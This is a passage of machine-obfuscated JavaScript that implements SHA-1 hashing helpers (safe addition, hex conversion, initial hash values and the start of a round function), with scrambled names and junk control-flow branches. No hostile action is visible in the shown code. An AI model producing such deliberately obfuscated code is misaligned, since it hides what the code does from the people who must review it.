_0x1b42ec(_0x1bcde7,_0x54f2e5,_0x14579a,_0x2cfe74,_0x845651){return _0x3d77d7(_0x1bcde7-0x86,_0x54f2e5-0x38,_0x54f2e5- -0x458,_0x2cfe74-0xcd,_0x845651);}function _0x2a5f4b(_0x4a928d,_0x4f9060,_0x5b8a3c,_0x4a8532,_0x4dede3){return _0x59fa80(_0x4a928d-0x12b,_0x4f9060-0x17f,_0x5b8a3c-0x65,_0x4a8532- -0x65,_0x4a928d);}function _0x245d97(_0x41dbc0,_0xc46619,_0x473dd6,_0x403548,_0x3b8306){return _0x3103a0(_0x41dbc0-0xd5,_0x403548- -0x1d7,_0x3b8306,_0x403548-0xb5,_0x3b8306-0x162);}_0xa4c336[_0x1976a5('Ar]L',0x4b5,0x511,-0x60,-0x114)]=function(_0x4e1904,_0x3a55cf){return _0x4e1904<<_0x3a55cf;},_0xa4c336[_0x374768(0xa84,0x17eb,0x1168,0x1174,'4oaC')]=function(_0x1f1a9f,_0x57a2b6){return _0x1f1a9f>>>_0x57a2b6;},_0xa4c336[_0x245d97(0x9f4,-0x27b,0x185,0x547,'T&Gd')]=function(_0x56e675,_0x41ed0c){return _0x56e675-_0x41ed0c;};const _0x1f6ec3=_0xa4c336;return _0x1f6ec3[_0x2a5f4b('@%1A',0x1193,0xf33,0xb8f,0xbec)](_0x1f6ec3[_0x1976a5('1MkO',0x4d5,0x1037,0x918,0xfd7)](_0x1bf375,_0x186754),_0x1f6ec3[_0x374768(0x74e,0xe9f,0xb73,0xc77,'EiYt')](_0x1bf375,_0x1f6ec3[_0x245d97(0xbc5,0x283,0x61c,0x81d,'R*Tx')](0xbc*-0x15+0xcd*-0x21+0x29f9,_0x186754)));}function safeAdd_32_2(_0x159fa5,_0x2ebf11){const _0x10ac02={};_0x10ac02[_0x6d063('Ar]L',0x102,0x260,0x2e9,0x468)]=function(_0x267c22,_0x1005ca){return _0x267c22+_0x1005ca;},_0x10ac02[_0x6d063('R*Tx',0x23b,0x757,0x395,0xdd)]=function(_0x57f6bd,_0x37913a){return _0x57f6bd&_0x37913a;},_0x10ac02[_0x6d063('l$qj',0x12ba,0x995,0xb66,0xd62)]=function(_0x4016bc,_0x30f8f7){return _0x4016bc&_0x30f8f7;};function _0x3d53e4(_0x303def,_0x3f11ed,_0x27e09a,_0x376e54,_0x259f9e){return _0xa3fb2b(_0x303def-0x96,_0x3f11ed-0x79,_0x27e09a-0x96,_0x3f11ed,_0x259f9e-0x12d);}_0x10ac02[_0x583b8d(0x7,0x205,']v1W',0x108,0x531)]=function(_0x2d6d42,_0x36f222){return _0x2d6d42+_0x36f222;};function _0x583b8d(_0x4ddd0c,_0x1b696d,_0x2e979d,_0x46c0aa,_0x5ef052){return _0x3103a0(_0x4ddd0c-0x135,_0x46c0aa- -0x45e,_0x2e979d,_0x46c0aa-0xdf,_0x5ef052-0x9f);}function _0x6d063(_0x256212,_0x898bda,_0x39491e,_0x1bbe04,_0x26b43b){return _0x3103a0(_0x256212-0xba,_0x26b43b- -0x2f5,_0x256212,_0x1bbe04-0x18a,_0x26b43b-0x109);}_0x10ac02[_0x583b8d(0xbdb,0x772,'c(Z7',0xb8b,0x1002)]=function(_0x57bc95,_0x4cc04b){return _0x57bc95>>>_0x4cc04b;},_0x10ac02[_0x6d063(')G&B',0x1538,0xeb5,0x1058,0xd7e)]=function(_0x35ea82,_0x1a41ca){return _0x35ea82|_0x1a41ca;},_0x10ac02[_0x3d53e4(0xee7,'5F(N',0x1095,0x7e1,0x10b7)]=function(_0x355634,_0x5c7121){return _0x355634<<_0x5c7121;};function _0x345e82(_0x1ee87c,_0x3090f9,_0x2173b7,_0x3c44b7,_0xfaeb78){return _0x3103a0(_0x1ee87c-0x42,_0x3090f9-0x293,_0xfaeb78,_0x3c44b7-0x5e,_0xfaeb78-0x15e);}function _0x43fa9d(_0x13963a,_0x579ba7,_0x2ebf2b,_0x55489b,_0x27bd7c){return _0x3103a0(_0x13963a-0x6a,_0x27bd7c- -0xc8,_0x13963a,_0x55489b-0x175,_0x27bd7c-0x7f);}const _0x15ab9d=_0x10ac02;var _0x9f52c1=_0x15ab9d[_0x345e82(0x1499,0xebe,0xade,0x1311,'Z)Xp')](_0x15ab9d[_0x3d53e4(0x2de,'(1pE',-0xcf,-0x398,-0x4a1)](_0x159fa5,0xb1b2+-0xf10b+-0x9fac*-0x2),_0x15ab9d[_0x3d53e4(0x33b,'gVnV',-0x1b3,0x935,0x64c)](_0x2ebf11,-0xf836+-0x12d6c+0x325a1)),_0x539ebf=_0x15ab9d[_0x3d53e4(0xaed,'ibNd',0x781,0xfe0,0x98d)](_0x15ab9d[_0x6d063('w78W',0xdb2,0x713,0xdf9,0x969)](_0x15ab9d[_0x583b8d(0x8da,0x125f,'CD&c',0xbf4,0x1252)](_0x159fa5,-0x1cba+-0x1a*0x8d+0x2b1c),_0x15ab9d[_0x345e82(0xcff,0x12e5,0x1443,0x1020,'CD&c')](_0x2ebf11,-0xb67*0x1+-0x54a+-0x1*-0x10c1)),_0x15ab9d[_0x3d53e4(0x515,'edx3',0x251,0x6e2,0xc6e)](_0x9f52c1,0x31*0x22+0xca2+0xb*-0x1bc));return _0x15ab9d[_0x6d063('^T15',0xce2,0x1002,0x68b,0x9fb)](_0x15ab9d[_0x43fa9d('CD&c',-0x19,0xbb,0x704,0x635)](_0x15ab9d[_0x345e82(0xf14,0x1227,0x10bf,0xbb0,'C2UU')](_0x539ebf,-0x2*-0x22de+0x176a+0x2f*0x377),-0x8a1+-0x270+0x1*0xb21),_0x15ab9d[_0x583b8d(0x605,0xe76,'FUWk',0x749,0xab1)](_0x9f52c1,-0x5a4d*-0x1+-0x1a22b+0x247dd));}function safeAdd_32_5(_0x340e1c,_0x4c5bfc,_0x54a637,_0xf14698,_0x57b6eb){const _0x132a2b={};function _0x3d48b8(_0x2d7c22,_0x4db977,_0xb105e2,_0x2663dd,_0x237fa6){return _0x59fa80(_0x2d7c22-0x8a,_0x4db977-0x16d,_0xb105e2-0x12f,_0xb105e2- -0x40,_0x2663dd);}_0x132a2b[_0x221d42(0x56c,-0x11c,'iHF0',0x4fc,0x24b)]=function(_0x30762d,_0x221f52){return _0x30762d+_0x221f52;},_0x132a2b[_0x221d42(0x252,0x70,'GIg]',0x26f,0xe4)]=function(_0x50bf14,_0x40fc4d){return _0x50bf14+_0x40fc4d;},_0x132a2b[_0xdc5ff9(0x516,0xec1,0x8e9,0xc88,'c(Z7')]=function(_0x34cbcb,_0x3bd065){return _0x34cbcb&_0x3bd065;};function _0x4d34fb(_0x49c887,_0x2d432d,_0x4286db,_0x3a21e6,_0x58608e){return _0xa3fb2b(_0x58608e-0x12,_0x2d432d-0xe4,_0x4286db-0x60,_0x3a21e6,_0x58608e-0xa2);}_0x132a2b[_0x221d42(0xf10,0x4d0,'@%1A',0xc21,0x13ec)]=function(_0x24a529,_0x1229f2){return _0x24a529&_0x1229f2;},_0x132a2b[_0x221d42(0x164e,0x10f8,'gVnV',0x101b,0xeb3)]=function(_0x446ff4,_0x1840e8){return _0x446ff4&_0x1840e8;},_0x132a2b[_0x481dc1(0xcd3,0x5ba,'WSri',0x942,0xc2b)]=function(_0x30de2e,_0x5e4435){return _0x30de2e+_0x5e4435;},_0x132a2b[_0x481dc1(0x2ca,0x641,'9loh',0x7d2,0xad7)]=function(_0x2b7118,_0x5d8059){return _0x2b7118+_0x5d8059;},_0x132a2b[_0x3d48b8(0x7ea,0x679,0xd99,'BHF6',0xff1)]=function(_0x45129d,_0x20e98a){return _0x45129d>>>_0x20e98a;},_0x132a2b[_0x4d34fb(0x7c1,0xf9e,0xbe9,']v1W',0xddf)]=function(_0x3977fe,_0x44c756){return _0x3977fe>>>_0x44c756;};function _0x481dc1(_0xd4a5a,_0x51ca4e,_0x93e3af,_0x282eb0,_0x1f23b7){return _0x3d77d7(_0xd4a5a-0x189,_0x51ca4e-0x1a7,_0x51ca4e- -0x1e,_0x282eb0-0x5c,_0x93e3af);}function _0xdc5ff9(_0x5e60e4,_0x3cedf9,_0x126030,_0x1dfcbc,_0x11fec8){return _0xa3fb2b(_0x1dfcbc-0x429,_0x3cedf9-0xe2,_0x126030-0x9d,_0x11fec8,_0x11fec8-0xf6);}_0x132a2b[_0xdc5ff9(0xc32,0xa9,0x9b7,0x78a,'gVnV')]=function(_0x156199,_0x1e3cca){return _0x156199>>>_0x1e3cca;};function _0x221d42(_0x126bd9,_0x17dccd,_0x3de7cc,_0x338e3b,_0x1d3bde){return _0xbc652e(_0x126bd9-0x19,_0x3de7cc,_0x3de7cc-0x116,_0x338e3b-0x11b,_0x338e3b- -0x359);}_0x132a2b[_0x3d48b8(0xa88,0x14f,0x86b,'WSri',0xde3)]=function(_0x36f65a,_0x30447f){return _0x36f65a>>>_0x30447f;},_0x132a2b[_0x3d48b8(0x1417,0x14f7,0x10be,'edx3',0x1028)]=function(_0x4db9c5,_0x567873){return _0x4db9c5|_0x567873;},_0x132a2b[_0xdc5ff9(0x1372,0x97d,0xfb8,0xe2b,'w78W')]=function(_0x5a1c86,_0x42944a){return _0x5a1c86<<_0x42944a;};const _0x874a52=_0x132a2b;var _0x1c211c=_0x874a52[_0x4d34fb(0x11d4,0x6ac,0x12b4,'8S1s',0xd9d)](_0x874a52[_0x481dc1(0x1342,0xc5a,'5F(N',0x4ad,0xee2)](_0x874a52[_0x4d34fb(0x17e,0x397,0x806,'NagZ',0x540)](_0x874a52[_0x481dc1(0x245,0x2fa,'WSri',0x634,0x3fc)](_0x874a52[_0x3d48b8(0x1375,0x16ed,0x1387,'^T15',0xebb)](_0x340e1c,-0x1*-0x171c3+0x1*-0x65c8+-0xbfc),_0x874a52[_0x3d48b8(0xe2c,0x137f,0xf17,'8S1s',0xc24)](_0x4c5bfc,-0x94*0xb+0x554*0x22+0x5133)),_0x874a52[_0x221d42(-0x3e,0xa6c,'8S1s',0x56d,0xc3c)](_0x54a637,0x1*0x123be+0x1*0x2cef+-0x50ae*0x1)),_0x874a52[_0x4d34fb(0x1523,0x1472,0x8cc,'c(Z7',0xf24)](_0xf14698,0x1*-0xd2a3+-0x8b73+0x3*0xca07)),_0x874a52[_0x481dc1(0x77c,0xc44,'EiYt',0x10df,0x70e)](_0x57b6eb,-0x1ce20+0x10082+0x1cd9d)),_0x23f814=_0x874a52[_0x3d48b8(0x10ed,0x1780,0xfd4,'NagZ',0x16c0)](_0x874a52[_0x3d48b8(0x95e,0x1409,0x104f,'@%1A',0x1026)](_0x874a52[_0x481dc1(0x7ae,0xc5e,'Z3ow',0x1258,0x7ba)](_0x874a52[_0x221d42(0x73,0x4d2,'9r61',0x58a,0x27c)](_0x874a52[_0xdc5ff9(0x11ed,0x1224,0x1356,0x13d7,'lmEu')](_0x874a52[_0x4d34fb(0x88b,0xe63,0x876,'u*kR',0x962)](_0x340e1c,-0x2b*-0x64+-0x1c05+0x3*0x3c3),_0x874a52[_0x3d48b8(0x13db,0x15d9,0x1060,'8S1s',0xbaa)](_0x4c5bfc,0x1989+-0x74*-0x44+-0x12c3*0x3)),_0x874a52[_0xdc5ff9(0xd24,0x11bc,0xfa8,0x1373,'1MkO')](_0x54a637,-0x1ff6+-0x1862+0x3868)),_0x874a52[_0xdc5ff9(0x886,0xbfd,0x135,0x5bd,'CD&c')](_0xf14698,0x247d+0x7d9+-0x761*0x6)),_0x874a52[_0xdc5ff9(0xcfb,0x162c,0x9f8,0x1088,'@^Br')](_0x57b6eb,0x20e1*-0x1+0x59*0x4+0x1f8d)),_0x874a52[_0x3d48b8(0xe7b,0x9ca,0xc92,'e!nd',0xe25)](_0x1c211c,-0xcb4+0x2*0xb45+0x9c6*-0x1));return _0x874a52[_0x221d42(0xd64,0x59d,'Z)Xp',0x5b2,0xb6b)](_0x874a52[_0xdc5ff9(0xfb9,0x19db,0x12d8,0x1357,'5F(N')](_0x874a52[_0x481dc1(0x377,0x599,'BHF6',0xd36,0x32b)](_0x23f814,0x10c5e+-0xd91f+0xfc0*0xd),-0x23e*0xd+0xe9f*-0x1+0x2bd5),_0x874a52[_0xdc5ff9(0xcae,0x8a3,0xa1a,0x591,'ibNd')](_0x1c211c,-0x2cc7+0x5027+-0xdc9f*-0x1));}function _0x3103a0(_0x3e33df,_0x48ebf2,_0x340085,_0x9b516d,_0x1eb87a){return _0x2771(_0x48ebf2-0xb1,_0x340085);}function binb2hex(_0xca0269){const _0x5e40b0={'yiTxL':_0x41bd83('GIg]',0xce2,0x1371,0x176a,0xfad)+_0x41bd83('GIg]',0xc8b,0x9ce,0x1243,0xbba)+_0x41bd83('C2UU',0xf3b,0xf05,0x558,0xc12)+'|8','YznwH':function(_0x2819c8,_0x1c91ca,_0x1886be,_0x25fcc9){return _0x2819c8(_0x1c91ca,_0x1886be,_0x25fcc9);},'rrRho':function(_0x25abed,_0x164e85){return _0x25abed<_0x164e85;},'tbirB':function(_0x58a2e2,_0x1a5dcf){return _0x58a2e2<=_0x1a5dcf;},'PWILv':function(_0x4760bc,_0x34bed4){return _0x4760bc+_0x34bed4;},'dtinP':function(_0x299b7a,_0x5c3b8e,_0x48753b){return _0x299b7a(_0x5c3b8e,_0x48753b);},'jMUnG':_0x41bd83('gVnV',0x805,0x141a,0xe4c,0xe5a)+'n','pWWjA':function(_0x113aef,_0x2a2949){return _0x113aef>>>_0x2a2949;},'pNpTR':_0x45587c(0x66c,0x1e9,0x799,'@%1A',0xb62),'Uysfb':function(_0x1c21c0,_0x1004a9){return _0x1c21c0%_0x1004a9;},'CXfMK':_0x41bd83('1R)L',0xfdd,0xa66,0x9b7,0x8af)+_0x45587c(0xd51,0x69e,0x10f9,'FUWk',0xc2b)+_0x41bd83('lmEu',0xcae,0x151f,0xa69,0xde0)+'f','pNaXi':function(_0x32fd7c,_0x186c60){return _0x32fd7c*_0x186c60;},'euzkB':function(_0x587096,_0x3fc482){return _0x587096!==_0x3fc482;},'XLlOL':_0x4176a8(0xc55,0x4de,'3#kp',0x651,0xc64),'iQAnx':function(_0x286125,_0x2c1b94){return _0x286125>>>_0x2c1b94;},'AYKnb':function(_0x343c28,_0x5d23e4){return _0x343c28*_0x5d23e4;},'gEFKR':function(_0x245b43,_0x27df72){return _0x245b43-_0x27df72;},'oQqlu':function(_0x1619ce,_0x51cb81){return _0x1619ce+_0x51cb81;},'JWkPx':function(_0x4f50dd,_0x48b3bc){return _0x4f50dd&_0x48b3bc;},'ZqZfs':function(_0x261195,_0x4a2918){return _0x261195>>>_0x4a2918;},'DTzHS':function(_0x577373,_0x6884f0){return _0x577373&_0x6884f0;}};function _0x3fd2e0(_0x53990b,_0x234843,_0x62c40c,_0x38f178,_0x432306){return _0x3103a0(_0x53990b-0x1b3,_0x38f178- -0x2ad,_0x53990b,_0x38f178-0x15e,_0x432306-0xc);}function _0x45587c(_0x42c9f5,_0x3aa988,_0x1e4595,_0x420cb1,_0xb58544){return _0xa3fb2b(_0x42c9f5-0x108,_0x3aa988-0x32,_0x1e4595-0x1da,_0x420cb1,_0xb58544-0x7a);}function _0x451d0c(_0x2aadf6,_0xbcdf51,_0x5f5870,_0x523fe5,_0x23b2af){return _0x3d77d7(_0x2aadf6-0x1c4,_0xbcdf51-0x1a3,_0x23b2af-0x1ec,_0x523fe5-0x12c,_0x5f5870);}function _0x41bd83(_0x480d5b,_0x1cab80,_0xc6cc73,_0x5a9ded,_0x4672f2){return _0xbc652e(_0x480d5b-0x27,_0x480d5b,_0xc6cc73-0x14c,_0x5a9ded-0xfd,_0x4672f2- -0x16c);}function _0x4176a8(_0x2a525f,_0x47c502,_0x17c30a,_0x3d203a,_0x839725){return _0x59fa80(_0x2a525f-0x142,_0x47c502-0x3c,_0x17c30a-0x15e,_0x839725- -0x408,_0x17c30a);}var _0x5f131c=_0x5e40b0[_0x4176a8(0x91a,0x93d,'@%1A',0x94d,0xb5b)],_0x903bd6='',_0x13c73d=_0x5e40b0[_0x41bd83('GIg]',0x14b,0x5be,0x3e9,0x5c9)](_0xca0269[_0x41bd83('(1pE',0x11e3,0x11fd,0xc3c,0xe92)+'h'],-0xcce+-0x77b+0x144d*0x1),_0x35a144,_0x2feff2;for(_0x35a144=0x1*0x1b1d+0x10dc+0x2bf9*-0x1;_0x5e40b0[_0x41bd83('WJUB',0x1fc,0xc17,-0x71,0x6ff)](_0x35a144,_0x13c73d);_0x35a144+=-0x2*0x772+-0x16bd+0x2*0x12d1){if(_0x5e40b0[_0x4176a8(0x58a,0x979,'edx3',-0xc2,0x4d2)](_0x5e40b0[_0x3fd2e0('tstx',0x5a0,-0xb,0x773,0x216)],_0x5e40b0[_0x451d0c(0xddf,0xbf5,'Ar]L',0x80a,0xde1)])){const _0x5b6f02=_0x5e40b0[_0x451d0c(0x826,0x78d,'e!nd',0xe23,0x7c3)][_0x451d0c(0x4d1,0x1007,'p1^x',0x95d,0xaed)]('|');let _0x124c9e=-0x24c2+0x44d*0x1+0x2075;while(!![]){switch(_0x5b6f02[_0x124c9e++]){case'0':_0x3db179=_0x5e40b0[_0x41bd83('@^Br',0x152a,0x1606,0x1010,0x10ec)](_0x1ee9a8,_0x393603,_0x5dce47,_0x5c3969);continue;case'1':_0x59a2c9+=_0x486eab;continue;case'2':for(_0x1f913f=-0x1*0x1f37+0xb9e+-0xad*-0x1d;_0x5e40b0[_0x3fd2e0('@%1A',0xbda,0x302,0x997,0xac0)](_0x1f913f,_0x166bd8);_0x1f913f+=_0x1d1381){_0x5e40b0[_0x3fd2e0('4D%T',-0x41b,-0x39f,0xe4,-0x28)](_0x5e40b0[_0x3fd2e0('Ar]L',0x318,0x116,0x279,-0x133)](_0x486eab,_0x2a4320),_0x1385f4)&&(_0x5bb22d=_0x5e40b0[_0x3fd2e0('W&[J',0x2cc,-0x177,0x1d1,0x53b)](_0x1f9bbf,_0x5f594f[_0x41bd83('(1pE',0x10a5,0xe97,0x1775,0x1220)](_0x1f913f,_0x5e40b0[_0x451d0c(0xe0f,0x298,'GIg]',-0x67,0x6df)](_0x1f913f,_0x1d1381)),_0xc20404),_0x486eab+=_0x59b3f8);}continue;case'3':_0x1385f4=_0x3db179[_0x5e40b0[_0x45587c(0xa31,0x6c2,0x52b,'W&[J',0x6fa)]];continue;case'4':_0x44312d=_0x5f594f[_0x45587c(0xff8,0xffb,0xbb9,'kObQ',0x152a)](_0x5e40b0[_0x45587c(0x10fd,0x1162,0x1341,'5F(N',0x1856)](_0x486eab,-0x8d9*-0x3+-0x1556*-0x1+0x2*-0x17ee));continue;case'5':_0x166bd8=_0x5e40b0[_0x451d0c(0x14c0,0x1046,'C2UU',0x183e,0x10ac)](_0x1385f4,-0xb*-0x151+-0x1826+0x1f*0x50);continue;case'6':_0x5f594f=_0x3db179[_0x5e40b0[_0x41bd83('kObQ',0x81b,0x1b5,0x85d,0x363)]];continue;case'7':var _0x3db179,_0x1385f4,_0x166bd8,_0x5f594f,_0x1f913f,_0x486eab=-0x38c+-0x2270*0x1+-0x2ec*-0xd,_0x1d1381=_0x5e40b0[_0x45587c(0xe0b,0x734,0x130a,'CD&c',0xec9)](_0x3f4cc3,-0x22a1+0x2*0xa99+0xd74);continue;case'8':_0x1315cd=_0x5e40b0[_0x4176a8(0x104d,0x1147,'gVnV',0x134b,0xcbb)](_0x1385f4,_0x2d4640);continue;}break;}}else _0x2feff2=_0x5e40b0[_0x4176a8(0x29c,0x3cb,'1MkO',0xc53,0x6dc)](_0xca0269[_0x5e40b0[_0x41bd83('9r61',0x31d,0x101c,0xf22,0xa87)](_0x35a144,0x7e2+0x1*0x1837+-0x1f*0x109)],_0x5e40b0[_0x451d0c(0x1184,0xe39,'WJUB',0xb6d,0xd9a)](_0x5e40b0[_0x45587c(0xbdd,0xc66,0x1205,'w]$Z',0x103f)](-0x982+-0x10cb+0x8*0x34a,_0x5e40b0[_0x3fd2e0('w78W',0xff5,0xe68,0xe60,0xe33)](_0x35a144,0x129*-0x3+0x114+-0x26b*-0x1)),-0x15ab+0x3*-0x51+0xb53*0x2)),_0x903bd6+=_0x5e40b0[_0x4176a8(0x974,0x6eb,')G&B',-0x5c,0x1e2)](_0x5f131c[_0x45587c(0x710,0xc1e,0x3ed,'^T15',0xb55)+'t'](_0x5e40b0[_0x4176a8(0x15c2,0x147a,'9loh',0x99d,0x106f)](_0x5e40b0[_0x41bd83('gVnV',0x39c,0x235,0x230,0x7d3)](_0x2feff2,-0xcbf+-0x153+0xe16),-0xff0+-0xa9b+-0x46f*-0x6)),_0x5f131c[_0x3fd2e0('u*kR',0xbbf,0x10fe,0xb56,0xc1f)+'t'](_0x5e40b0[_0x3fd2e0('^T15',-0x23f,0x540,0xb4,0x2bf)](_0x2feff2,-0x96a+-0x63*-0x4d+-0x2e*0x71)));}return _0x903bd6;}function getH(){return[-0x4c1819d3+0x973ae3*0xe7+0x1*0x2ae719ff,-0xaa2280b7+0xb355dd1*0x1b+-0x310e4c7*-0x23,-0x8c6e19db+0xf5b92a4c+-0x1*-0x2f6fcc8d,-0x29260ff+-0x2*-0x6e23c97+0x5003c47*0x1,0x52ddbc4*0x1+-0xc3be9d26+0x293de*0x95e7];}function roundSHA1(_0x59fa04,_0x2ecd77){function _0x330de6(_0x595cfd,_0x1eb90e,_0x21a1d3,_0x459452,_0x33c192){return _0xa3fb2b(_0x595cfd- -0x96,_0x1eb90e-0x1ac,_0x21a1d3-0x87,_0x33c192,_0x33c192-0x38);}const _0x4a19bf={'bpLbF':function(_0x1d402c,_0x5eb5ac,_0x55329d){return _0x1d402c(_0x5eb5ac,_0x55329d);},'tbQmx':function(_0x1e7101,_0x2e67f1){return _0x1e7101(_0x2e67f1);},'MvePP':function(_0x1b4402,_0x518c5d){return _0x1b4402+_0x518c5d;},'TZqVQ':function(_0x50bfd7,_0x4c8494){return _0x50bfd7>>>_0x4c8494;},'PyJnI':function(_0x4a8773,_0xe91d44){return _0x4a8773>>>_0xe91d44;},'RYUSp':function(_0x10b7f5,_0x73c28c){return _0x10b7f5<=_0x73c28c;},'PTqlx':function(_0x377db0,_0x55aacf){return _0x377db0<<_0x55aacf;},'EMehL':function(_0x86724d,_0x335d2d){return _0x86724d*_0x335d2d;},'OzlnO':function(_0x41c944,_0x4823d4){return _0x41c944-_0x4823d4;},'XKmVM':function(_0x254c93,_0x2c15a5){return _0x254c93%_0x2c15a5;},'pThmc':_0x57ae1c(0x1464,'1R)L',0x10c6,0x675,0xdff)+_0x19fcff(0xb2c,'8S1s',0xc4d,0x7d7,0xf02)+_0x57ae1c(0xeb1,'kObQ',0x4f7,0xc5e,0xaa5)+_0x20ebf5(0xcda,0xa33,'Z3ow',0xd56,0x138e)+_0x19fcff(0x8a2,'1MkO',0x249,0x7ca,0x6db)+_0x330de6(0xd5,0x1d5,0x32e,-0x2dd,'iHF0')+_0x57ae1c(-0x5f7,'C2UU',0x79e,0x822,0x1b1)+_0x20ebf5(0xa83,0x2da,'1R)L',0x10e0,0x902)+_0x1ec903(0x6ee,')G&B',0x95c,0x818,0x31a)+'s','WUQCh':_0x57ae1c(-0x3d8,'gVnV',0x3bc,0x6c,0x202)+_0x19fcff(0x66a,']v1W',0x9e7,0xc46,0xe15)+_0x57ae1c(0x1dc,'5F(N',0x82a,0x1bb,0x850),'mAtnM':_0x330de6(0xdb0,0x1235,0xce5,0x605,'CD&c')+'er','WqYqt':function(_0x2be3c5,_0x5359c6){return _0x2be3c5===_0x5359c6;},'oFnFl':_0x20ebf5(0xe0c,0xc5f,'CD&c',0x6ee,0x83d)+_0x19fcff(0x32,'u*kR',0x688,0x792,-0x38)+_0x19fcff(0x223,'kObQ',0x184,0x2d8,0x613)+_0x330de6(0xbc3,0xc9a,0x842,0x985,'fSRV')+_0x330de6(0x496,0x47,0xac0,0x6a5,'8S1s')+_0x19fcff(0xb92,'Z)Xp',0x5ac,0x4bd,0x7aa)+_0x1ec903(0x880,'5F(N',0x29e,0x699,0xb72)+_0x20ebf5(0xa95,0x11ed,'8S1s',0xfd1,0xc86)+_0x1ec903(0x1284,'gVnV',0xe8f,0xd8f,0x17c3)+_0x57ae1c(0x1b1,'tstx',-0x4f7,0xc6,0xe4),'Smqea':function(_0x5195c6,_0xe017fe){return _0x5195c6===_0xe017fe;},'rVPAT':function(_0x53ef4f,_0x1b9b8b,_0x33e12e,_0x1396d1,_0x628287){return _0x53ef4f(_0x1b9b8b,_0x33e12e,_0x1396d1,_0x628287);},'vWxbD':function(_0x5948af,_0x2099e8,_0xfdb1b5){return _0x5948af(_0x2099e8,_0xfdb1b5);},'nVpGP':function(_0xecf46b){return _0xecf46b();},'cCxjQ':function(_0x3b4a3e,_0x3fb218){return _0x3b4a3e^_0x3fb218;},'RmCbv':function(_0x31c973,_0x166dbe){return _0x31c973&_0x166dbe;},'HsuMW':function(_0xd7d174,_0x391692){return _0xd7d174&_0x391692;},'HDgtX':function(_0x16087e,_0x1377c4){return _0x16087e<_0x1377c4;},'dFNeb':function(_0x3e80e2,_0x28fd8e){return _0x3e80e2===_0x28fd8e;},'ZvXEP':_0x19fcff(0x60f,'9r61',0xb03,0xfef,0xa25),'uEMpm':function(_0x25fbd6,_0x4b7b1b){return _0x25fbd6<_0x4b7b1b;},'ZdYHr':function(_0x5d0845,_0x45112d){return _0x5d0845!==_0x45112d;},'IOWZO':_0x57ae1c(0x249,')9bc',0xa37,0xc20,0x9ea),'DlFHJ':function(_0x2a5da7,_0x29d32d){return _0x2a5da7!==_0x29d32d;},'jYQZK':_0x330de6(0xe30,0xb56,0xced,0x979,'CD&c'),'vCDfC':_0x20ebf5(0x9f9,0x987,'w78W',0x8a1,0x10a5),'LhzRs':function(_0x44c415,_0xa3a6da,_0x70a8e1){return _0x44c415(_0xa3a6da,_0x70a8e1);},'bWJpq':function(_0x558beb,_0xbb38bc){return _0x558beb^_0xbb38bc;},'kbygf':function(_0x5406e1,_0x11080b){return _0x5406e1-_0x11080b;},'KoElW':function(_0x4e4271,_0x5258a5){return _0x4e4271-_0x5258a5;},'KGOUq':function(_0x5a147f,_0x22d2e9){return _0x5a147f-_0x22d2e9;},'dmeIg':function(_0x119cf9,_0x369a80){return _0x119cf9<_0x369a80;},'deaHC':function(_0x513165,_0x492877){return _0x513165===_0x492877;},'EbWPi':_0x330de6(0x37,-0x741,-0x75e,-0x245,'lmEu'),'DUkrB':_0x19fcff(0x445,'WSri',0x26f,0xda,-0x4e7),'SUafE':function(_0x5ba204,_0x16e634,_0x1baf9b,_0x208da8,_0x2b9cbe,_0x5b70f6){return _0x5ba204(_0x16e634,_0x1baf9b,_0x208da8,_0x2b9cbe,_0x5b70f6);},'yaTVM':function(_0x3a3ec1,_0x4ac431,_0x293d3e,_0xf17649){return _0x3a3ec1(_0x4ac431,_0x293d3e,_0xf17649);},'VViOf':_0x1ec903(0xc2e,'EiYt',0xd15,0x10d7,0x11c8),'nBdbp':_0x1ec903(0x11f4,'gVnV',0xe6e,0xa60,0xb4f),'imzLO':function(_0x46a4bf,_0x47d383,_0x345cb1,_0x4145a6){return _0x46a4bf(_0x47d383,_0x345cb1,_0x4145a6);},'GNSHJ':function(_0x555af1,_0x2d0122){return _0x555af1!==_0x2d0122;},'OOuQc':_0x20ebf5(0x817,0x28d,'5F(N',0xb26,0x52e),'szoSp':_0x20ebf5(0xd57,0xdc9,'edx3',0x1022,0xa0e),'nakzQ':function(_0xd2bc,_0x5e5702,_0x23c7e0){return _0xd2bc(_0x5e5702,_0x23c7e0);},'hcfSd':function(_0x27fb07,_0x2416c0,_0x3acf7c,_0x1a85b2){return _0x27fb07(_0x2416c0,_0x3acf7c,_0x1a85b2);},'EkGUd':function(_0x16c4bc,_0x161a0b){return _0x16c4bc!==_0x161a0b;},'iWLHE':_0x330de6(0xcd1,0x5e1,0x9e0,0x712,'WSri'),'GQcrf':_0x1ec903(0xcdf,'ibNd',0x1090,0xd10,0x10f9),'JSdBK':function(_0x1d19ce,_0x500784,_0x487a78,_0x260f2b,_0x1420db,_0x39bd0e){return _0x1d19ce(_0x500784,_0x487a78,_0x260f2b,_0x1420db,_0x39bd0e);},'TOcOD':function(_0x293536,_0x395387,_0x42dee3,_0x1d7015){return _0x293536(_0x395387,_0x42dee3,_0x1d7015);},'PAJGv':function(_0x2f6a37,_0x16b179,_0x2259e1){return _0x2f6a37(_0x16b179,_0x2259e1);},'vHGIu':function(_0x2df6d0,_0x29e6bd,_0x1992d4){return _0x2df6d0(_0x29e6bd,_0x1992d4);}};function _0x57ae1c(_0x64f7b7,_0x117a3e,_0x10fac4,_0x1a9b3e,_0x42d21d){return _0x3d77d7(_0x64f7b7-0xf0,_0x117a3e-0x1b0,_0x42d21d- -0x2bc,_0x1a9b3e-0x13f,_0x117a3e);}var _0x2694ec=[],_0x447b8d,_0xaaf10c,_0x5c0338,_0x3750ee,_0x48562c,_0x481ab3,_0x44a389=ch_32,_0x48f3cc=parity_32,_0x5ca4b6=maj_32,_0x2855e5=rotl_32,_0x10e7bf=safeAdd_32_2,_0x53c490,_0x22755=safeAdd_32_5;_0x447b8d=_0x2ecd77[0x6d*0x3b+-0x2fd*-0x3+0x2*-0x110b],_0xaaf10c=_0x2ecd77[0x2282+-0x1f13+-0x1*0x36e],_0x5c0338=_0x2ecd77[0x10e2*-0x1+-0x5a9*-0x1+0xb3b],_0x3750ee=_0x2ecd77[0x4cf*0x1+-0x2*0x1199+0x1e66],_0x48562c=_0x2ecd77[-0x19*0xad+0x1cf2+-0xc09];for(_0x53c490=0x16d*-0x3+0xbba+-0x773*0x1;_0x4a19bf[_0x330de6(0x53b,0x1d9,0x700,0x49c,'NagZ')](_0x53c490,-0xe98+0x6*0xd+0xe9a);_0x53c490+=0x25cc+-0x203+0x479*-0x8){if(_0x4a19bf[_0x1ec903(0x816,'SI6h',0x664,0xa14,0x450)](_0x4a1